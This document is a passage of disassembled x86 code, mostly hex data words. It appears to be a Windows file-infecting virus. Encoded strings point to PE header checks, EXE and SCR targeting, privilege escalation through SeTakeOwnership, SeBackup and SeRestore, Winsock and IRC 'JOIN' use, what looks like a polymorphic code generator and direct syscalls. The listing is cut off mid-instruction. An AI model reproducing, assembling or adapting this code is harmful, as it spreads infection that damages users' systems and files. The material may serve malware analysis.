2E534F5Fh dd 4C4C44h, 3EC695FFh, 7CE80010h, 0E8FFFFFEh, 0FFFFF600h dd 12D48DFFh, 0C9330010h, 4324858Dh, 51510010h, 51505151h dd 95FF5151h, 103EC2h, 0BE8h, 45535500h, 2E323352h, 4C4C44h dd 3EC695FFh, 0AE80010h, 77000000h, 69727073h, 4166746Eh dd 95FF5000h, 103E6Eh, 3E768589h, 310F0010h, 19858D8Dh dd 85890010h, 103F7Ch, 0C695FF51h, 9300103Eh, 468h, 92B58D00h dd 59001019h, 3F62BD8Dh, 0C2E80010h, 66FFFFF5h, 1E7585C7h dd 50000010h, 1E77A583h, 8D000010h, 101E3595h, 6A545000h dd 52006A01h, 268h, 6695FF80h, 8500103Fh, 22755AC0h, 1E688D8Dh dd 6A520010h, 75B58D06h, 5400101Eh, 51505056h, 6A95FF52h dd 5800103Fh, 3F6295FFh, 85C60010h, 104183h, 0CE800h, 53570000h dd 334B434Fh, 4C442E32h, 95FF004Ch, 103EC6h, 76893h, 0B58D0000h dd 1018E9h, 32BD8D59h, 0E800103Fh, 0FFFFF53Dh, 0CE8h, 4E495700h dd 54454E49h, 4C4C442Eh, 0C695FF00h, 8500103Eh, 35840FC0h dd 93000002h, 568h, 27B58D00h, 59001019h, 3F4EBD8Dh, 6E80010h dd 83FFFFF5h, 103F52BDh, 840F0000h, 210h, 190EC81h, 68540000h dd 101h, 3F3295FFh, 0C4810010h, 190h, 6AD48B50h, 95FF5200h dd 103F52h, 7559C085h, 1388680Dh, 95FF0000h, 103EE6h, 0BD83E2EBh dd 101E77h, 8D297500h, 101E7B85h, 95FF5000h, 103F3Eh, 840FC085h dd 189h, 8B0C408Bh, 8F30FF00h, 101E7785h, 8385C600h, 1001041h dd 16A006Ah, 95FF026Ah, 103F4Ah, 0FFFF883h, 16084h, 958D9300h dd 101E73h, 5352106Ah, 3F3A95FFh, 0C0850010h, 140850Fh dd 0BD8D0000h, 101E94h, 3CE808B1h, 68FFFFFAh, 94h, 89E62B5Eh dd 0FF542434h, 103EBE95h, 0A2BD8D00h, 0B100101Eh, 0FA1DE801h dd 958DFFFFh, 101E8Fh, 1468006Ah, 52000000h, 4695FF53h dd 8D00103Fh, 8D142444h, 10432495h, 0B60F5000h, 24448B0Ah dd 8E0C114h, 12014A02h, 4A12024Ah, 24440B03h, 0FE18008h dd 5108E0C1h, 1024440Bh, 8D5032FFh, 103F84BDh, 1CE800h dd 2E250000h, 2E207836h, 3A202E20h, 2E252525h, 78257838h dd 0A732520h, 4E494F4Ah, 0FF570020h, 103E7695h, 0ACC48100h dd 6A000000h, 53575000h, 3F4695FFh, 8D8B0010h, 101598h dd 1BE3006Ah, 510DC96Bh, 5E8h, 64252600h, 0FF57000Ah, 103E7695h dd 0CC48300h, 680BEB50h, 7, 1EA8BD8Dh, 53570010h, 3F4695FFh dd 0C0850010h, 0B58D547Eh, 103F84h, 1598A583h, 8D000010h dd 1041838Dh, 6ACE2B00h, 53565100h, 3F4295FFh, 0F8830010h dd 912F7E00h, 0B58DFE8Bh, 103F84h, 0AEF20DB0h, 0E8601075h dd 0FFFFFA2Ah, 0E3177261h, 1778D09h, 0CF8BEAEBh, 0BD8DCE2Bh dd 103F84h, 0F787A4F3h, 0FF53B9EBh, 103F3695h, 7FBD8000h dd 1001015h, 30682A74h, 0FF000075h, 103EE695h, 83BD8000h dd 1041h, 85C71174h, 101E77h, 0 dd 418385C6h, 0E9000010h, 0FFFFFE08h, 158885C7h, 10h, 0C25D8000h dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h dd 49202165h, 20732774h, 6574616Ch, 0A2A1A821h, 3BFDD04Ch dd 52B2E84Ah, 0DAFA3C83h, 0A614297Bh, 33354010h, 0B1FAE501h dd 0AB595727h, 6CCC5C3Ah, 375248C2h, 88D66240h, 73C17E80h dd 69DD711Ah, 0DBh, 12h dup(0) dd 0A5836000h, 1042F4h, 0F8A58300h, 1042h, 1443B70Fh, 0F18538Dh dd 3064BB7h, 24448BD0h, 0C422B24h, 423B1972h, 8B147308h dd 422B1442h, 0F495890Ch, 89001042h, 1042F885h, 8305EB00h dd 0D9E228C2h, 4C261h, 24678588h, 64E80010h, 68000000h dd 1Fh, 2394858Dh, 39590010h, 830C7418h, 0F7E204C0h, 42D085FFh dd 0F7C30010h, 678D03D9h, 0E3001024h, 0FC70FF10h, 0E883008Fh dd 89F6E204h, 1023949Dh, 3A8300h, 322B0574h, 8D107203h dd 5B58FC4Eh, 3A835Eh, 32FF0474h, 72FF03EBh, 0FF57E810h dd 0CE2BFFFFh, 42F88D2Bh, 3580010h, 8FC3344Bh, 1042D485h dd 0D085C700h, 1042h, 0E8000000h, 3Ch, 42D0858Bh, 0A9E80010h dd 0E8FFFFF6h, 18h, 42D0BD83h, 75000010h, 109D8908h, 0EB001024h dd 0D08DFF9Ch, 0C3001042h, 42D4858Fh, 95890010h, 1042D0h dd 3E8h, 0C3C93300h, 80938Bh, 0E8520000h, 0FFFFFEEDh, 42F89503h dd 0D6030010h, 0C7A83h, 107840Fh, 7A830000h, 840F0010h dd 0FDh, 500C428Bh, 0FFFEC8E8h, 0F88503FFh, 3001042h, 88A50C6h dd 7400F980h, 2EF98019h, 0EB400374h, 1488BF1h, 0DFDFE181h dd 0F981DFDFh, 4C4C44h, 2B59EC75h, 0FAF983C8h, 0B78F0Fh dd 81660000h, 3233FE78h, 0AB850Fh, 83560000h, 575003Ah dd 0EB104A8Bh, 30A8B02h, 72E851F1h, 3FFFFFEh, 1042F8B5h dd 0C085AD00h, 840FFB78h, 84h, 42F8B5FFh, 0E8500010h, 0FFFFFE55h dd 42F88503h, 858F0010h, 1042F8h, 53240403h, 3302C083h dd 8B60FDBh, 0C98012E3h, 24C15320h, 1C290424h, 240C2924h dd 0E9EB405Bh, 0D70FFB81h, 3E74DDBBh, 45A8FB81h, 3674DB6Eh dd 3B59FB81h, 2E74FFA1h, 22D6FB81h, 2674ACB5h, 0E993FB81h dd 1E74F358h, 0E97DFB81h, 1674F358h, 3F46FB81h, 0E74E125h dd 3F30FB81h, 674E125h, 42D495FFh, 0E95B0010h, 0FFFFFF71h dd 14C2835Eh, 0FFFEEFE9h, 6A01C3FFh, 49E85804h, 88FFFFF5h dd 10264195h, 31B86600h, 0C0E20218h, 0E20203E4h, 66AAB66h dd 0F52EE858h, 0C283FFFFh, 6AD18708h, 21E85805h, 80FFFFF5h dd 0B7303FAh, 850250B0h, 102641h, 6A27EBAAh, 80AA5868h dd 187503FAh, 1E811B0h, 0B8FFFFF5h, 1, 0D74D284h, 0CAFEE0D1h dd 5EBF6EBh, 0B8h, 0BFE2AB80h, 0CC958DC3h, 2B001039h, 0C3DAF7D7h dd 39C085F7h, 10h, 950F1000h, 0BE0C1C0h, 39BE85F6h, 75010010h dd 890D6606h, 0F613EB25h, 1039BE85h, 6750200h, 25310D66h dd 0D6604EBh, 0AB662501h, 0FFFFBCE8h, 34438BFFh, 42E89589h dd 0C3AB0010h, 39C085F7h, 10h, 950F1000h, 0AABC04C0h, 0FFFF9CE8h dd 0EC9589FFh, 0F6001042h, 1039BE85h, 4750100h, 2EB310Fh dd 0C3ABC02Bh, 39C085F7h, 10h, 27741000h, 39BA858Ah, 0E0C10010h dd 8B0D660Bh, 0B0AB6645h, 858AAAF8h, 1039BAh, 51BE0C1h dd 6896467h, 66C033ABh, 0B812EBABh, 58F64h, 0BA858AABh dd 4001039h, 18E0C158h, 85C6C3ABh, 10279Ch, 0B025EB09h dd 6620EBFCh, 6600EBB8h, 6A19EBABh, 9E85804h, 8DFFFFF4h dd 0E0C1D204h, 89056608h, 0EBAB66C0h, 0AA90B003h, 0E8580F6Ah dd 0FFFFF3F0h, 279C8580h, 80060010h, 2F7308FAh, 0C374D284h dd 0C374CAFEh, 0C774CAFEh, 0D974CAFEh, 0C74CAFEh, 2 dup(0F74CAFEh) dd 0CBEBF9B0h, 0B0AA87B0h, 0B0C4EBDBh, 0B0C0EBF5h, 0C3BCEBF8h dd 39C085F7h, 20000010h, 86B00000h, 4040275h, 8AFE4F8Dh dd 1039B8A5h, 80AB6600h, 77505FCh, 4F8000B0h, 0E8AA40FFh dd 0FFFFFF62h, 39C085F7h, 40000010h, 0B8660000h, 2753166h dd 0AB6629B4h, 850A18B0h, 1039BAh, 0AA03E0C0h, 0FFFF3DE8h dd 0F788B0FFh, 1039C085h, 800000h, 0B0027500h, 0B8A58A86h dd 66001039h, 5FC80ABh, 0B00775h, 40FF4F80h, 0BD8DC3AAh dd 1039CCh, 0FFFF0DE8h, 0C085F7FFh, 1039h, 74004000h, 0AA60B003h dd 39C085F7h, 10h, 7741000h db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add [ebx-3F7A08B1h], ch cmp [eax], edx add [ebx], al ; --------------------------------------------------------------------------- dw 0 dd 0F0840F02h, 0B0000000h, 89ABAAE8h, 1042D8BDh, 0FECCE800h dd 0E8B0FFFFh, 0BD89ABAAh, 1042DCh, 0FFFEBDE8h, 0C085F7FFh dd 3001039h, 74000000h, 0C085F71Ah, 1039h, 74020000h, 0FE2EE80Ah dd 9BE8FFFFh, 0B0FFFFFEh, 8BABAAE9h, 1042D885h, 2BCF8B00h dd 0E0BD89C8h, 89001042h, 67B8FC48h, 0AB36FF64h, 0AB66C033h dd 39C085F7h, 30010h, 13740000h, 39BE85F6h, 74800010h dd 0FDAAE80Ah, 5BE8FFFFh, 0B8FFFFFEh, 26896467h, 66C033ABh dd 0C085F7ABh, 3001039h, 74000000h, 0BE85F65Ah, 80001039h dd 81E80A75h, 0E8FFFFFDh, 0FFFFFE32h, 0FFFD02E8h, 0E820B0FFh dd 0FFFFFB14h, 0B86639E3h, 0AB6615FFh, 958BAB91h, 1039C0h dd 0C2F7D2F7h, 3, 0DCE81475h, 0B0FFFFFCh, 0FAEEE81Fh, 0B866FFFFh dd 0AB6615FFh, 0CF8BAB91h, 42E0858Bh, 0C82B0010h, 0F7FC4889h dd 1039C085h, 300h, 0F7387400h, 1039C085h, 0 dd 0F72C740Ch, 1039C085h, 0 dd 0E80A7502h, 0FFFFFDC2h, 0FFFD4BE8h, 0C085F7FFh, 1039h dd 74080000h, 0FDACE80Ah, 61E8FFFFh, 0F7FFFFFDh, 1039C085h dd 400h, 0E8177400h, 0FFFFFD96h, 0FEC029B8h, 8B8ABC8h dd 0AB0474C0h, 0EBF875B8h, 7FE8AB67h, 0F7FFFFFDh, 1039C085h dd 800h, 80727500h, 1039BEBDh, 69740000h, 0FFFD65E8h, 1829B8FFh dd 0A50AC929h, 1039BAh, 0A03E4C0h, 1039BAA5h, 4BE8AB00h dd 0B0FFFFFDh, 858AAAB1h, 1039BEh, 0FD3CE8AAh, 0B60FFFFFh dd 1039BA85h, 0C0048D00h, 0E0C14004h, 668DB008h, 0AA01B0ABh dd 0FD20E857h, 3C29FFFFh, 0E2B86624h, 85F759FBh, 1039C0h dd 10h, 49B00774h, 75B866AAh, 66E102FAh, 0FCFCE8ABh, 0E8B0FFFFh dd 0ABC033AAh, 42C4BD89h, 85F70010h, 1039C0h, 20h, 0E8573B75h dd 0FFFFFCDEh, 39C085F7h, 10h, 18748000h, 42F0BD89h, 39E80010h dd 0E8FFFFFDh, 0FFFFFCC2h, 0E8AAC3B0h, 0FFFFFCBAh, 0B0CF8B5Ah dd 0ACA2B58h, 1039B885h, 0FC4A8900h, 0FCA4E8AAh, 0B866FFFFh dd 85F7C081h, 1039C0h, 40h, 0C4800374h, 0B8A50A28h, 66001039h dd 0C8BD89ABh, 0AB001042h, 39C085F7h, 10h, 9754000h, 850250B0h dd 1039B8h, 0C085F7AAh, 80001039h, 75000000h, 0AB8B00Bh dd 1039B985h, 3DEBAA00h, 1831B866h, 39C085F7h, 1000010h dd 2740000h, 0A50A29B0h, 1039B9h, 0A03E4C0h, 1039B9A5h dd 66AB6600h, 0F7F081B8h, 1039C085h, 20000h, 0B4027500h dd 0B9A50AC8h, 66001039h, 0E4BD89ABh, 0B8001042h, 29CCh dd 0C085F7ABh, 8001039h, 74000000h, 0FBFCE871h, 85F7FFFFh dd 1039C0h, 400h, 0B8B00B75h, 39BA850Ah, 0EBAA0010h, 0C085F74Dh dd 1039h, 75000008h, 83B86611h, 0BAA50AE0h, 66001039h dd 0AAC033ABh, 0B86615EBh, 0A50A1829h, 1039BAh, 0A03E4C0h dd 1039BAA5h, 0F7AB6600h, 1039C085h, 100000h, 81B86600h dd 800374C0h, 0A50A08C4h, 1039BAh, 0B60FAB66h, 1039BE85h dd 8BE8AB00h, 0F7FFFFFBh, 1039C085h, 0 dd 0B00E7440h, 0B8850250h, 0AA001039h, 0FFFB71E8h, 0FE4F8DFFh dd 42CC8D89h, 85F70010h, 1039C0h, 80000000h, 0E8B01774h dd 0F0858BAAh, 2B001042h, 4E883C7h, 0F0BD89ABh, 0EB001042h dd 0FBB2E805h, 3BE8FFFFh, 0F7FFFFFBh, 1039C085h, 1000000h dd 0B00B7500h, 0B8850A40h, 0AA001039h, 0B8660FEBh, 0A50AC083h dd 1039B8h, 1B0AB66h, 0C085F7AAh, 1039h, 75000200h, 0C085F72Fh dd 1039h, 75000400h, 0AC0B01Ah, 1039BA85h, 0BFA58A00h dd 0C1001039h, 0B86610E0h, 0B0AB8166h, 0B008EB00h, 0BA850A40h dd 0AA001039h, 39C085F7h, 10h, 10750008h, 0E883B866h, 39B9A50Ah dd 0AB660010h, 8EB01B0h, 850A48B0h, 1039B9h, 0FAB0E8AAh dd 85F7FFFFh, 1039C0h, 100000h, 257575B1h, 0F883B866h dd 39B9A50Ah, 0AB660010h, 29AAC033h, 1042CCBDh, 0C085F700h dd 1039h, 75002000h, 0EB77B11Fh, 9B8661Bh, 0B9A50A18h dd 0C0001039h, 0A50A03E4h, 1039B9h, 0BD29AB66h, 1042CCh dd 0A58AC18Ah, 1042CCh, 58B0AB66h, 39B88502h, 0E8AA0010h dd 0FFFFFA4Ah, 39C085F7h, 30010h, 2C740200h, 39C085F7h dd 10h, 20750800h, 39C085F7h, 10h, 0A750600h, 0FFF9AFE8h dd 0FA1CE8FFh, 0D1E8FFFFh, 0E8FFFFF9h, 0FFFFFA12h, 39C085F7h dd 10h, 8741000h, 0E8AAC9B0h, 0FFFFF9FEh, 39C085F7h, 10h dd 2A740040h, 852A07B0h, 1039B8h, 0D1AE0C1h, 240889h, 39B8A502h dd 0E4C00010h, 4C48003h, 0F9D0E8ABh, 61B0FFFFh, 0F9C8E8AAh dd 0B866FFFFh, 0A50AE0FFh, 1039B8h, 0B7E8AB66h, 0F7FFFFF9h dd 1039C085h, 2000h, 0F76F7400h, 1039C085h, 0 dd 8B1F7480h, 0F08D8BC7h, 2B001042h, 0FC4189C1h, 0FFF9FFE8h dd 0F988E8FFh, 0C3B0FFFFh, 0F980E8AAh, 0C78BFFFFh, 42C48D8Bh dd 0C12B0010h, 0B0FC4189h, 0B8850A58h, 0AA001039h, 0FFF965E8h dd 0C085F7FFh, 1039h, 74008000h, 50B8660Ch, 0B8850AC3h dd 0EB001039h, 0FFB8660Ah, 0B8A50AE0h, 66001039h, 0F93CE8ABh dd 85F7FFFFh, 1039C0h, 2000003h, 0CF8B5F74h, 42DC858Bh dd 0C82B0010h, 33FC4889h, 0C085F7C9h, 1039h, 75010000h dd 0B8858D0Eh, 8A001039h, 0F9804008h, 8DF87303h, 2444CD04h dd 0E0C10010h, 0AB8BB008h, 0B86606E3h, 0AB66C031h, 808FB866h dd 0B868h, 66E10200h, 85AB58ABh, 660675C9h, 66C031B8h dd 0AAC3B0ABh, 0FFF8D1E8h, 0CC858DFFh, 0F7001039h, 1039C085h dd 0 ; --------------------------------------------------------------------------- and [ebp+6], dh push edi sub edi, eax pop eax jmp short loc_3143BECE ; --------------------------------------------------------------------------- mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+1042E4h] add [ebp+1042C4h], edx add [ecx], edi mov eax, [esp+4] loc_3143BECE: ; CODE XREF: .ifc_:3143BEB3j mov [ebp+101069h], edi mov edi, [ebp+1042C8h] sub eax, [ebp+1042C4h] test dword ptr [ebp+1039C0h], 40h jz short loc_3143BEEE neg eax loc_3143BEEE: ; CODE XREF: .ifc_:3143BEEAj stosd retn 4 ; --------------------------------------------------------------------------- dw 5756h dd 4300BD83h, 0F000010h, 1D984h, 0DE800h, 454B0000h, 4C454E52h dd 442E3233h, 0FF004C4Ch, 103EAE95h, 14858900h, 53001043h dd 33C588Bh, 2873FFD8h, 0E834438Bh, 0FFFFF4E5h, 42F4958Bh dd 35B0010h, 85890C42h, 104318h, 89084203h, 10431C85h dd 28738B00h, 80B3FFh, 0BEE80000h, 8BFFFFF4h, 1042F4BDh dd 0B2E85600h, 8BFFFFF4h, 1042F495h, 84A8B00h, 2B0C4A03h dd 5E983CEh, 160880Fh, 840F0000h, 15Ah, 42F8B503h, 0B5030010h dd 1042B4h, 0FE83CACh, 0A285h, 4468D00h, 42B4852Bh, 6030010h dd 0F46FE850h, 0BD83FFFFh, 1042F4h, 3B0B7500h, 830F0C47h dd 11Bh, 95390CEBh, 1042F4h, 10D850Fh, 85030000h, 1042B4h dd 0FF388166h, 0FC850F25h, 8B000000h, 432B0240h, 32E85034h dd 39FFFFF4h, 1042F4BDh, 0E4850F00h, 3000000h, 1042F885h dd 0B4850300h, 8B001042h, 0C472B00h, 0CD820Fh, 473B0000h dd 0C4830F08h, 83000000h, 470302C0h, 0B4850314h, 52001042h dd 14B5FF50h, 0FF001043h, 103E6E95h, 0C0855A00h, 0B7850Fh dd 9CE90000h, 3C000000h, 94850FFFh, 80000000h, 850F153Eh dd 8Bh, 2B01468Bh, 0E8503443h, 0FFFFF3C1h, 42F4BD39h, 77750010h dd 42F88503h, 85030010h, 1042B4h, 43208589h, 8B0010h, 4318853Bh dd 8720010h, 431C853Bh, 69720010h, 3Dh, 0E8377270h, 1Fh dd 8BFC4E8Dh, 3022BC1h, 853B1042h, 104320h, 0C4830C75h dd 8F31FF10h, 611C2444h, 8FC31BEBh, 1042D485h, 0B58B6000h dd 1042B4h, 0FFF45FE8h, 0A961FFh, 75800000h, 0C472B0Eh dd 473B0972h, 3C820F08h, 49FFFFFFh, 0FEB2850Fh, 3C8BFFFFh dd 0C0A78124h, 0FF000029h, 0EBFFBFFFh, 244A8142h, 0E0000060h dd 8BC0334Eh, 8587240Ch, 104300h, 42FC8589h, 0B98D0010h dd 29C4h, 42B48503h, 0A5660010h, 0C62B4EA5h, 2B144203h dd 46C60C42h, 81C7E8FBh, 54h, 5, 5FFC4689h, 0FF57C35Eh dd 103EBA95h, 1FE8C100h, 11A850Fh, 54500000h, 0FF6A286Ah dd 3F1A95FFh, 0C0850010h, 5880F5Fh, 0E8000001h, 0FFFFE458h dd 11E8h, 74655300h, 656C6946h, 75636553h, 79746972h, 0B5FF0041h dd 104288h, 3E6E95FFh, 85890010h, 104290h, 19E8h, 54655300h dd 4F656B61h, 72656E77h, 70696873h, 76697250h, 67656C69h dd 0E8570065h, 0FFFFE829h, 13E8h, 52655300h, 6F747365h dd 72506572h, 6C697669h, 656765h, 0E80BE857h, 12E8FFFFh dd 53000000h, 63614265h, 5070756Bh, 69766972h, 6567656Ch dd 0EEE85700h, 0E8FFFFE7h, 18h, 68436553h, 65676E61h, 69746F4Eh dd 72507966h, 6C697669h, 656765h, 0E7CBE857h, 5450FFFFh dd 3DCC858Dh, 646A0010h, 57016A50h, 3F2695FFh, 3C890010h dd 6295FF24h, 2A00103Eh, 84BD8DC0h, 50001041h, 0B5FF5050h dd 103DCCh, 4000168h, 16A5400h, 9095FF57h, 54001042h, 0FF57046Ah dd 10429095h, 14C48300h, 4288B5FFh, 95FF0010h, 103E9Eh dd 0B58DC35Fh, 104184h, 0A295FF56h, 8300103Eh, 840FFFF8h dd 0BBh, 42948589h, 6A0010h, 0DE95FF56h, 8500103Eh, 0A4840FC0h dd 2B000000h, 6A5050C0h, 16A5003h, 68h, 95FF56C0h, 103E7Eh dd 0FFFF883h, 60784h, 98858900h, 8D001042h, 10429C8Dh dd 0A4958D00h, 51001042h, 50006A52h, 3EAA95FFh, 0F8830010h dd 0D5840FFFh, 6A000005h, 98B5FF00h, 0FF001042h, 103EA695h dd 0FFF88300h, 5BE840Fh, 85890000h, 1042ACh, 0C303C933h dd 6A515051h, 0B5FF5104h, 104298h, 3E8295FFh, 0C0850010h dd 59A840Fh, 0C9330000h, 42B08589h, 51510010h, 1F6851h dd 0FF50000Fh, 103ECA95h, 0FC08500h, 55384h, 0B4858900h dd 0C3001042h, 7327B8h, 384B8B00h, 39C085F7h, 10h, 6752000h dd 10698503h, 0D2330010h, 0F1F7C103h, 8589E1F7h, 1042C0h dd 29CBB8h, 3C4B8B00h, 10698503h, 0D2330010h, 0F1F7C103h dd 8589E1F7h, 1042B8h, 4BB70FC3h, 35E3F906h, 0F18538Dh dd 31443B7h, 0C16B49D0h, 81D00328h, 69775F3Ah, 1D74F96Eh dd 10C7A83h, 4B8BE072h, 14428B3Ch, 8D104203h, 0F7FF4844h dd 3BC123D9h, 1042AC85h, 548BC300h, 0C0331024h, 0B8828Fh dd 8BC30000h, 8D0BEBCFh, 104184BDh, 0DF8BFC00h, 3CACC933h dd 3C067261h, 2C02777Ah, 5C3CAA20h, 2E3CEC74h, 3CDD74h dd 0C9E3E875h, 453D018Bh, 74004558h, 43533D0Bh, 850F0052h dd 0FFFFFF33h, 573D038Bh, 0F434E49h, 0FFFF2684h, 43573DFFh dd 840F4E55h, 0FFFFFF1Bh, 3343573Dh, 10840F32h, 3DFFFFFFh dd 4F545350h, 0FF05840Fh, 0DB33FFFFh, 0FFFE2DE8h, 0E81075FFh dd 0FFFFFCFAh, 0FFFE21E8h, 0EC840FFFh, 33FFFFFEh, 16E8D2h dd 63E80000h, 0E8FFFFFFh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 10344Fh jmp loc_3143C856 ; --------------------------------------------------------------------------- dd 8B32FF64h, 1042B4B5h, 22896400h, 4D3E8166h, 0E3850F5Ah dd 8B000003h, 0DE033C5Eh, 503B8166h, 0D3850F45h, 0F7000003h dd 20001643h, 850F0000h, 3C6h, 25C43F6h, 3BC840Fh, 438B0000h dd 0A0A03D08h, 840FA0A0h, 3AEh, 2020203Dh, 0A3840F20h dd 8B000003h, 0C88Bh, 5116E300h, 0FFEF54E8h, 0F88D03FFh dd 3001042h, 406183CEh, 44618300h, 0FE9BE800h, 820FFFFFh dd 37Ah, 42FCA583h, 8B000010h, 4A8B0842h, 73C12B10h, 0EBC03304h dd 89C80305h, 8589104Ah, 1042BCh, 0B80C4A03h, 10000h, 0E68AE851h dd 9530FFFFh, 1039BEh, 0B53020B1h, 1039BFh, 0C9FE206Ah dd 0E8147858h, 0FFFFE670h, 940FD285h, 31E2D3C2h, 1039C095h dd 0F7E5EB00h, 1039C085h, 0 dd 0F7227402h, 1039C085h, 300h, 810C7500h, 1039C0A5h, 0FFFFFF00h dd 810AEBF7h, 1039C08Dh, 0 dd 66810h, 68590000h, 6, 0E622E858h, 858AFFFFh, 1039B8h dd 0B82A8486h, 88001039h, 1039B885h, 0F7E0E200h, 1039C085h dd 800h, 80097500h, 1039BABDh, 0C5740100h, 39C085F7h, 10h dd 1B741000h, 39B8BD80h, 74050010h, 0B9BD80B0h, 5001039h dd 0BD80A774h, 1039BAh, 0F79E7405h, 1039C085h, 40000000h dd 80097400h, 1039B8BDh, 89770200h, 4300A583h, 0E8000010h dd 0FFFFF272h, 0FFFD43E8h, 271E8FFh, 9D8B0000h, 1042B8h dd 42BC9D03h, 5BE80010h, 0FFFFFFCh, 25184h, 0B4B58B00h dd 8B001042h, 0DE033C5Eh, 0FFFD5CE8h, 3B820FFFh, 81000002h dd 60244Ah, 0FE8BE000h, 7A035652h, 107A0314h, 39C085F7h dd 10h, 14752000h, 4304BD89h, 0B58D0010h, 1039CCh, 10698D8Bh dd 0A4F30010h, 0A73B957h, 0B58D0000h, 101000h, 0B1A5F3h dd 0A4F302E3h, 39C085F7h, 10h, 840F2000h, 0AEh, 0E82873FFh dd 0FFFFED9Dh, 42F4958Bh, 0D2850010h, 98840Fh, 0B58B0000h dd 1042B4h, 81104A8Bh, 60244Ah, 4A2BE000h, 33027308h, 147203C9h dd 10698D3Bh, 8D8B0010h, 101069h, 3C8B5672h, 69A58324h dd 1010h, 69A783h, 8B000000h, 4A01087Ah, 87F70308h, 0C8858BF7h dd 0F7001042h, 1039C085h, 4000h, 0F7027400h, 0C720318h dd 0B5893029h, 104300h, 128738Bh, 0C085F730h, 40001039h dd 74000000h, 5118F702h, 0FFFC2BE8h, 0CEB59FFh, 2B287303h dd 56510C72h, 595FA4F3h, 39CCB58Dh, 0BD890010h, 104304h dd 5E5FA4F3h, 8D92310Fh, 13787h, 0BE953A00h, 75001039h dd 78D26906h, 66123456h, 0E8E75089h, 0FFFFD9E1h, 0C4A8B5Ah dd 0F7104A03h, 1039C085h, 0 dd 5418D20h, 8D891375h, 104300h, 10698503h, 0A7830010h dd 69h, 28432B00h, 548789h, 85F70000h, 103F7Ch, 1, 43C70774h dd 0A0A0A008h, 0C085F7A0h, 1039h, 74004000h, 5BE85207h dd 5AFFFFF7h, 43008D8Bh, 5E30010h, 0EB284B89h, 0FC8D8B0Dh dd 0E3001042h, 8B03EB02h, 85F7284Bh, 1039C0h, 3, 858B1474h dd 104304h, 42EC8D03h, 85030010h, 1042E8h, 4A8B0801h, 0B8858B10h dd 39001042h, 373084Ah, 1084A89h, 63831042h, 858B0058h dd 1042C0h, 29CC68h, 8420100h, 50430159h, 39BE958Ah, 85F70010h dd 1039C0h, 20000000h, 8D030674h, 101069h, 85F700B6h, 1039C0h dd 20000h, 0C6FE1475h, 39C085F7h, 10h, 6750004h, 39BFB58Ah dd 85F70010h, 1039C0h, 4000h, 78A0B75h, 2AAC202h, 0EBF7E2D6h dd 32078A09h, 0D602AAC2h db 0E2h, 0F7h ; --------------------------------------------------------------------------- loc_3143C856: ; CODE XREF: .ifc_:3143C457j xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax cmp dword ptr [ebp+104298h], 0 jz near ptr dword_3143BEF4+437h push dword ptr [ebp+1042B4h] call dword ptr [ebp+103EEEh] push dword ptr [ebp+1042B0h] call dword ptr [ebp+103E62h] lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EE2h] push dword ptr [ebp+104298h] call dword ptr [ebp+103E62h] lea esi, [ebp+104184h] push dword ptr [ebp+104294h] push esi call dword ptr [ebp+103EDEh] and dword ptr [ebp+104298h], 0 retn ; --------------------------------------------------------------------------- db 0E8h dd 0 dd 81016A5Dh, 1038CBEDh, 0FF05800h, 158885C1h, 0C0850010h dd 0FFC883C3h, 85C10FF0h, 101588h, 103DC3h, 1C75002Ah dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh, 0FAB5E805h dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h dd 3975FFFFh, 3024448Bh, 4184B58Dh, 508B0010h, 3A816608h dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 3F2E95FFh dd 0C4830010h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFA62E8h dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 1DE8h dd 20C200h, 30B8h, 10E800h, 24C20000h, 185B800h, 3E80000h dd 0C2000000h, 548D002Ch, 2ECD0C24h, 7C00F883h, 0E86019h dd 8B000000h, 5D302454h, 0ED811A8Bh, 1039A2h, 0FFE0B3E8h dd 4C261FFh, 6020100h, 36030705h, 38F07FE7h, 8815FF29h dd 8B010010h, 906893FFh, 8BED01C3h, 5BD0FFC4h, 5FE8h, 24648B00h dd 4EBB808h, 0FAEB0000h, 18A16764h, 30408B00h, 240B60Fh dd 7500F883h, 0E842h, 815D0000h, 402338EDh, 85858B00h dd 3004023h, 40238D85h, 8BF08B00h, 40238985h, 8D850300h dd 50004023h, 33FE8B60h, 95958AC9h, 0AC004023h, 0D002C232h dd 8D3B41AAh, 402391h, 0C361F17Ch, 0FF64C02Bh, 20896430h dd 345678B8h, 38712h, 80000060h, 7Ch, 314300h, 3000001Eh dd 101h dup(0) dd 47000000h, 0AD7C809Bh, 317C8308h, 7C9103h, 1464h dup(0) dd 0E800h, 8BFC0000h, 888B2404h, 29BBh, 33039889h, 0E1810000h dd 400000h, 4245C8Bh, 89592C74h, 3307B0h, 0BF888A00h, 89000029h dd 330BB8h, 0E8F98000h, 988B0874h, 29C1h, 888B0AEBh, 29C0h dd 2195C8Bh, 8B551B8Bh, 246C81E8h, 9E0604h, 5ED8100h, 8B001010h dd 8D04247Ch, 1039CCB5h, 0DBB900h, 0A4F30000h, 85C1000Fh dd 830575C9h, 2ECDFFC8h, 0F000E381h, 7B81FFFFh, 6968544Eh dd 81087473h, 100EBh, 8BEF7500h, 3C4303C3h, 6678508Bh dd 45503881h, 0D303E975h, 8B20728Bh, 